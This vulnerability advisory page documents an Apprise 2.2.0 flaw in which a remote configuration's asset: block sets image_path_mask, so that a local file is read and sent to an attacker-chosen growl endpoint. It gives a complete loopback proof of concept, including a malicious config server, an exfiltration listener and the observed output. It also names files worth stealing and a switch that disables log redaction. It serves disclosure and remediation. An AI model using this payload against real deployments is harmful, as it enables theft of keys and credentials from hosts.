
Cloud Vulnerability DB
A community-led vulnerabilities database
The project documents exactly one boundary between a remote configuration and the host filesystem, enforces it correctly, and a second mechanism walks around it.
Apprise loads notification configuration from a file or over HTTP. The documented rule is stated in the shipped source at apprise/config/base.py:131-134: "NEVER sources cannot be included, and STRICT sources may only be included by a compatible source type. For example, a local file:// configuration can include another local file, but an http:// configuration cannot include a local file." allow_cross_includes = common.ContentIncludeMode.NEVER sets the default, and the proof below shows that rule holding at every recursion depth — a remote config asking to include a local file is refused with "Including file:// based configuration is prohibited" unless the embedding application explicitly passes insecure_includes=True.
So the include path is sound. The asset: path is not. A YAML configuration may contain an asset: mapping, and config_parse_yaml applies it to the live AppriseAsset object with setattr. The only gate is a type check:
if not (
hasattr(asset, k)
and isinstance(getattr(asset, k), (bool, str))
):
# We can't set a function or non-string set value
ConfigBase.logger.warning(f'Invalid asset key "{k}".')
continueThere is no allowlist of which attributes a configuration may set — only "does this attribute exist, and is it a bool or a str". AppriseAsset.image_path_mask is a str, and it is an unconstrained absolute filesystem path: apprise/asset.py:113 initialises it with abspath(...), and image_path() substitutes a template into it and returns it, after which image_raw opens it with open(path, "rb"). A remote configuration therefore names a file on the victim's host, and the notification plugin reads it.
And the same configuration chooses where the bytes go. The config's urls: list is attacker-controlled by construction — that is what a configuration is — so the attacker names both the file to read and the endpoint to receive it. Any plugin that attaches or embeds the notification icon will carry the file's bytes; the proof uses growl:// with image=yes, where the file arrives in the GNTP packet body.
Why this is a boundary crossing and not the product working as intended, which is the whole argument. Whoever controls a configuration source already controls every notification target, every credential embedded in those URLs, and whether anything is delivered at all. Those are the product. What they do not hold, and what the project says in its own source they must not obtain, is the victim host's filesystem. The include rule exists precisely to deny a remote config access to local files; this is the same capability obtained by a different route, and the vendor's own documented reasoning is the evidence that it was not intended.
Two further attributes reachable by the same mechanism, noted because they need no optional dependency. secure_logging is a bool, so a remote config can set secure_logging: no and cause the victim to write otherwise-redacted credentials into its own logs; http_redirects is a bool, so a config can set http_redirects: yes. Both are the same setattr with no extra plugin installed, and both are weaker than the file read but free of its precondition.
What is deliberately not claimed. This is not code execution: setattr reaches only bool and str attributes, there is no callable among them, and no deserialization is involved. It is not a write primitive — the path is opened read-only. It is not an unauthenticated network attack on an Apprise service, because Apprise is a library and has no listener. And it is not the include defect, which was tested and holds. The claim is confidentiality of host files, scored C:H / I:N / A:N.
One adjacent result recorded here because it bounds expectations rather than adds to them. The sibling completeness question on GHSA-856c-92hv-3vxx (auth headers surviving cross-origin redirects) came back clean on coverage: an AST census of 191 outbound call sites found zero missing allow_redirects handling. That advisory's fix, however, added a knob rather than header stripping — http_redirects still defaults to True and no should_strip_auth/rebuild_auth equivalent exists anywhere in the tree — which is why http_redirects: yes above is a restatement of shipped default behaviour and not a second finding.
v2.2.0)Every line below was read at the declared ref with gh api "repos/caronc/apprise/contents/<path>?ref=v2.2.0" --jq .content | base64 -d | sed -n '<n>p' — not at HEAD and not from a working tree.
The sink — apprise/config/base.py:1064-1086. The type check, and the two setattr calls it guards:
if not (
hasattr(asset, k)
and isinstance(getattr(asset, k), (bool, str))
):
# We can't set a function or non-string set value
ConfigBase.logger.warning(f'Invalid asset key "{k}".')
continue
if v is None:
# Convert to an empty string
v = ""
if isinstance(v, (bool, str)) and isinstance(
getattr(asset, k), bool
):
# If the object in the Asset is a boolean, then
# we want to convert the specified string to
# match that.
setattr(asset, k, parse_bool(v))
elif isinstance(v, str):
# Set our asset object with the new value
setattr(asset, k, v.strip())The preceding lines reject only keys beginning with an underscore ('Ignored asset key "{k}"'). There is no enumeration of permitted attributes, so the set of reachable fields is "every bool or str attribute of AppriseAsset", which is a property of that class rather than a decision made here.
The attribute that matters — apprise/asset.py:113. An absolute path, initialised with abspath:
image_path_mask = abspath(and the reader, apprise/asset.py:662-692, which substitutes into it and hands the result to a file open:
def image_path( if not self.image_path_mask: path = re_table.sub(lambda x: re_map[x.group()], self.image_path_mask)image_raw then performs open(path, "rb"), which is the read. Note that the template substitution replaces tokens within the mask; it does not constrain the directory, and nothing compares the result against a base path.
The boundary this bypasses — apprise/config/base.py:102-134. Quoted because the vendor's own words are the strongest evidence that the file read was not intended:
# By default all configuration is not includable using the 'include'
allow_cross_includes = common.ContentIncludeMode.NEVER insecure_includes: bool = False, included normally, ``NEVER`` sources cannot be included, and ``STRICT``
sources may only be included by a compatible source type. For example,
a local ``file://`` configuration can include another local file, but
an ``http://`` configuration cannot include a local file.Holds: control of the bytes served at a configuration URL the victim loads. Baseline privilege, stated before the score: none on the victim host. No account, no shell, no filesystem access, no credential of the victim's, and no position on the victim's network beyond serving the config URL.
What that principal already holds, measured rather than assumed, because it is the whole scoring argument. Whoever controls the config already controls: every notification URL and therefore every delivery target; every credential embedded in those URLs; whether any notification is delivered at all (serving urls: [] suppresses everything). So a report claiming "they can choose the targets" or "they can deny delivery" would be claiming the product. What the principal does not hold is the victim host's filesystem — and the project's own include rule exists to keep it that way.
The realistic settings, named rather than gestured at. A configuration URL is a first-class, documented input (AppriseConfig().add('http://…'), and the --config= CLI option), so the principal exists wherever an operator points Apprise at a config they do not themselves serve: a shared or team-hosted config, a config fetched from a repository or object store, a config URL supplied by a tenant in a multi-user deployment, or a host whose DNS or TLS the attacker can influence.
The precondition that sets AC:H, stated plainly because it is the honest limit. The reliable exfiltration sink demonstrated below is the growl:// plugin, and NotifyGrowl.enabled is False unless the gntp dependency is present, which arrives with the all-plugins extra rather than a default install. So the attacker needs the victim to have a plugin that ships the icon off-host, and that is not guaranteed — hence AC:H. If the deployment does have such a plugin, the vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5, and that reading is offered here rather than buried, so a disagreement on one metric does not collapse the report. The secure_logging: no and http_redirects: yes effects need no optional dependency at all.
Not required, and explicitly excluded: insecure_includes=True is not needed and was False throughout the proof; no user interaction with attacker content is required beyond the operator having configured the config URL once; no race, no timing window, and no second defect.
An arbitrary file readable by the Apprise process is read and delivered to a network endpoint the attacker chose.
Demonstrated on a sentinel file; the same construction reaches anything the process can open — ~/.ssh/id_ed25519, a .env holding the deployment's own secrets, a token or kubeconfig mounted into the container, /proc/self/environ (which in a notification daemon commonly holds the very credentials Apprise was configured with), or the operator's other Apprise configuration files including those the include rule was protecting.
Why the delivery half matters as much as the read. A path-traversal read that stays on the host is a smaller problem than one whose output is shipped somewhere. Here the same configuration that names the file also names the destination, so the read and the exfiltration are a single step with no second channel required and no further access needed.
Two lesser effects from the identical mechanism, with no optional dependency. Setting secure_logging: no turns off the redaction that cwe312_loggable applies throughout the codebase, so the victim writes credentials from its own notification URLs into its own logs — a disclosure to anyone who can read those logs, which in a container deployment is frequently a shipped log aggregator. Setting http_redirects: yes restates a shipped default and is noted only for completeness.
What this is not, so the scope is not overread. Not code execution, not a write, not an authentication bypass, not a denial of service beyond what the principal can already do by serving an empty urls: list — and not the include defect, which was tested and holds. Confidentiality only.
Three local processes, loopback only. Nothing contacts a real notification provider or any external host.
set -eu
WORK=$(mktemp -d); cd "$WORK"
python3 -m venv venv
./venv/bin/pip install --quiet 'apprise==2.2.0' gntp
./venv/bin/python -c "import apprise; print('apprise', apprise.__version__)" # expect 2.2.0
mkdir -p victim
# A unique random sentinel. This matters: the FIRST run of this PoC used /etc/hostname,
# whose contents ALSO appear in the GNTP Origin-Machine-Name header, so the match was
# right for the wrong reason. A random sentinel cannot be a coincidental header value.
printf 'top-secret-SENTINEL-c7ac33f88b72cdb3a33bbdc5\n' > victim/secret.key
cat victim/secret.keycat > poc_growl_sink.py <<'PY'
import socketserver
SENT = b"SENTINEL-c7ac33f88b72cdb3a33bbdc5"
class H(socketserver.BaseRequestHandler):
def handle(self):
data=b""; self.request.settimeout(2)
try:
while True:
c=self.request.recv(65536)
if not c: break
data+=c
except Exception: pass
print("---- packet (%d bytes) ----" % len(data), flush=True)
if SENT in data:
i=data.index(SENT)
print("*** EXFIL CONFIRMED: sentinel found at offset %d; context=%r" % (i, data[max(0,i-200):i+40]), flush=True)
else:
print("*** sentinel NOT present", flush=True)
try: self.request.sendall(b"GNTP/1.0 -OK NONE\r\n\r\n")
except Exception: pass
socketserver.TCPServer.allow_reuse_address=True
socketserver.TCPServer(("127.0.0.1",23053),H).serve_forever()
PY
./venv/bin/python poc_growl_sink.py > sink.log 2>&1 &
SINK=$!; echo "sink pid=$SINK" # record the PID at launch; never match it with pgrep -fThe asset: block is the entire attack. Everything else is an ordinary Apprise configuration.
cat > poc_cfg_host.py <<'PY'
import http.server, sys
VICTIM = sys.argv[1]
PAYLOAD = ("asset:\n image_path_mask: %s\nurls:\n"
" - growl://127.0.0.1:23053?version=1&image=yes\n" % VICTIM).encode()
class H(http.server.BaseHTTPRequestHandler):
def _r(self):
try: self.rfile.read(int(self.headers.get('Content-Length') or 0))
except Exception: pass
self.send_response(200); self.send_header("Content-Type","text/yaml")
self.send_header("Content-Length",str(len(PAYLOAD))); self.end_headers(); self.wfile.write(PAYLOAD)
do_GET = do_POST = _r
def log_message(self,*a): pass
http.server.HTTPServer(("127.0.0.1",18097),H).serve_forever()
PY
./venv/bin/python poc_cfg_host.py "$WORK/victim/secret.key" > cfg.log 2>&1 &
CFG=$!; echo "cfg pid=$CFG"cat > victim_run.py <<'PY'
import apprise
a = apprise.Apprise()
c = apprise.AppriseConfig() # insecure_includes defaults to False
c.add('http://127.0.0.1:18097/c.yml')
a.add(c)
print("notify ->", a.notify(title='t', body='b'))
PY
./venv/bin/python victim_run.py
sleep 1; cat sink.logObserved output, pasted from the run:
victim file: …/apprise/victim/secret.key -> top-secret-SENTINEL-c7ac33f88b72cdb3a33bbdc5
notify -> <AppriseResult status='SUCCESS' count=1>
---- packet (539 bytes) ----
*** EXFIL CONFIRMED: sentinel found at offset 501; context=
b'…Identifier: f9b0fffa41f96cab360abf9b67fd108f\r\nLength: 45\r\n\r\n
top-secret-SENTINEL-c7ac33f88b72cdb3a33bbdc5\n\r\n\r\n'asset: block removedkill "$CFG" 2>/dev/null || true
cat > poc_cfg_host_control.py <<'PY'
import http.server
PAYLOAD = (b"urls:\n - growl://127.0.0.1:23053?version=1&image=yes\n")
class H(http.server.BaseHTTPRequestHandler):
def _r(self):
try: self.rfile.read(int(self.headers.get('Content-Length') or 0))
except Exception: pass
self.send_response(200); self.send_header("Content-Type","text/yaml")
self.send_header("Content-Length",str(len(PAYLOAD))); self.end_headers(); self.wfile.write(PAYLOAD)
do_GET = do_POST = _r
def log_message(self,*a): pass
http.server.HTTPServer(("127.0.0.1",18097),H).serve_forever()
PY
: > sink.log
./venv/bin/python poc_cfg_host_control.py > cfg.log 2>&1 &
CFG=$!
./venv/bin/python victim_run.py
sleep 1; cat sink.logObserved:
---- packet (338 bytes) ---- *** sentinel NOT present
---- packet (8371 bytes) --- *** sentinel NOT presentThe 8371-byte packet is Apprise's own default PNG icon — the icon mechanism working normally. The asset: line is the entire difference between the two runs.
This is run because the report's argument depends on the include rule being sound: if a remote config could already reach file://, this finding would be a restatement of a known property rather than a bypass.
cat > include_probe.py <<'PY'
import apprise
for rec in (0, 1, 5):
for insec in (False, True):
c = apprise.AppriseConfig(recursion=rec, insecure_includes=insec)
c.add('http://127.0.0.1:18097/c.yml')
print("recursion=%d insecure_includes=%-5s -> %s"
% (rec, insec, [s.url()[:46] for s in c.servers()]))
PYObserved, with the hostile host serving include: <a local .yml>:
WARNING:apprise:Including file:// based configuration is prohibited. Ignoring URL file://…/local.yml
recursion=0 insecure_includes=False -> ['json://localhost/remote…']
recursion=1 insecure_includes=False -> ['json://localhost/remote…']
recursion=5 insecure_includes=False -> ['json://localhost/remote…']
recursion=1 insecure_includes=True -> ['json://localhost/remote…', 'json://localhost/LOCAL-FILE-WAS-READ…']The documented property holds at every recursion depth: an http:// config reaches file:// only when the embedding application explicitly opts in. That rule is the only thing standing between a remote config and the filesystem, and asset: image_path_mask goes around it.
Four alternative explanations, each ruled out rather than argued away. "The file was read by an include" — excluded: insecure_includes was False throughout, and step 6 shows includes being refused. "The sentinel was a coincidental header value" — excluded: it is 24 random hex characters, and this is exactly the error the first run made with /etc/hostname, caught and corrected. "The config was a local file, so no boundary was crossed" — excluded: it is fetched over HTTP by ConfigHTTP from 127.0.0.1:18097. "The plugin failed and something else produced the match" — excluded: growl is the real vendor plugin with the real gntp dependency, and notify returned status='SUCCESS'; a missing dependency would have surfaced as a failed notify rather than a success.
kill "$SINK" "$CFG" 2>/dev/null || true
cd /; rm -rf "$WORK"Both listeners are on 127.0.0.1 with fixed ports, both PIDs are recorded at launch, and nothing outside $WORK is written.
Replace the type check with an attribute allowlist. The present gate asks "does this attribute exist and is it a bool or a str", which makes the reachable set a property of AppriseAsset rather than a decision. It should be an explicit enumeration of the fields a configuration is permitted to set:
# Attributes a configuration source may set. Anything touching the local
# filesystem (image_path_mask) or weakening a protection (secure_logging)
# is deliberately absent: a configuration may be fetched over HTTP, and a
# remote source must not be able to name a local path. This is the same
# boundary allow_cross_includes already enforces for `include`.
CONFIG_SETTABLE_ASSET_KEYS = frozenset({
'app_id', 'app_desc', 'app_url', 'theme', 'default_extension',
'image_url_mask', 'image_url_logo', 'body_format',
})and in the asset: handler:
if k not in ConfigBase.CONFIG_SETTABLE_ASSET_KEYS:
ConfigBase.logger.warning(
f'Ignored asset key "{k}": not settable from configuration.')
continueAn allowlist is the right shape rather than a denylist of image_path_mask and secure_logging, because the failure here was not that two particular fields were overlooked — it was that the set of reachable fields is defined by an unrelated class and grows whenever a str or bool attribute is added to it. A denylist would need revisiting every time AppriseAsset gains a field; an allowlist fails closed.
Decide secure_logging explicitly, because it is a protection rather than a preference. Even if some asset fields remain configurable, a configuration source being able to disable redaction inverts a control the codebase applies in dozens of places through cwe312_loggable. If there is a legitimate reason for a config to set it, it should be settable only in the safer direction.
If image_path_mask must stay configurable for local configs, gate it on the source's trust rather than on its type. ConfigBase already knows whether a source is local or remote — that is precisely what allow_cross_includes and ContentIncludeMode encode. The natural fix reuses that distinction: permit filesystem-touching asset keys only from a source that would itself be allowed to include a file://. That makes one rule govern both routes to the filesystem, which is the structural point — the include path and the asset: path both reach local files, and only one of them was reasoned about.
A regression test that pins the property rather than the implementation. Assert that a config fetched over HTTP cannot change image_path_mask, parameterised over both the http:// and file:// source types so the local-vs-remote distinction is the thing under test. That test fails today for the remote case, which is exactly the asymmetry the proof demonstrates, and it would keep a future field on AppriseAsset from silently becoming reachable.
One adjacent note, offered as information rather than as part of this finding. An AST census of all 191 outbound call sites in apprise/ found zero missing allow_redirects handling, so the coverage question raised by the earlier redirect advisory is clean. That advisory's fix did, however, add a configuration knob rather than stripping credentials on cross-origin redirects: http_redirects still defaults to True, and no should_strip_auth or rebuild_auth equivalent exists in the tree. Whether that is the intended end state is the maintainer's call, and it is mentioned only because the asset: mechanism above can set that same knob.
Please credit 5ud0 / Tarmo Technologies.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."